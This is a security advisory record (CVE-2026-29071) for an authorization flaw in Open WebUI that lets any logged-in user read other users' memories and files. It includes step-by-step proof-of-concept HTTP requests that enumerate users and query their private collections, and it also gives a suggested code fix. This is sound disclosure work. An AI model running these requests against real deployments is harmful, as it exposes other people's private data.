CVE-2026-29071: Open webui Open WebUI's Insecure Direct Object Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w9f8-gxf9-rhvw",
  "modified" : "2026-03-27T15:35:49Z",
  "published" : "2026-03-27T15:35:49Z",
  "aliases" : [ "CVE-2026-29071" ],
  "summary" : "Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories",
  "details" : "### Summary\nAny authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),  # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.\n\n**Exploitation — Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\n```\n\nResponse reveals all users including admin's UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n<img width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" />\n\n**Exploitation — Step 2: Read admin's memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-<admin_UUID_from_step_1>\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin's private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n<img width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" />\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-<file_UUID>\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin's private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n<img width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" />\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file — placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T15:35:49Z",
    "nvd_published_at" : "2026-03-27T00:16:22Z"
  }
}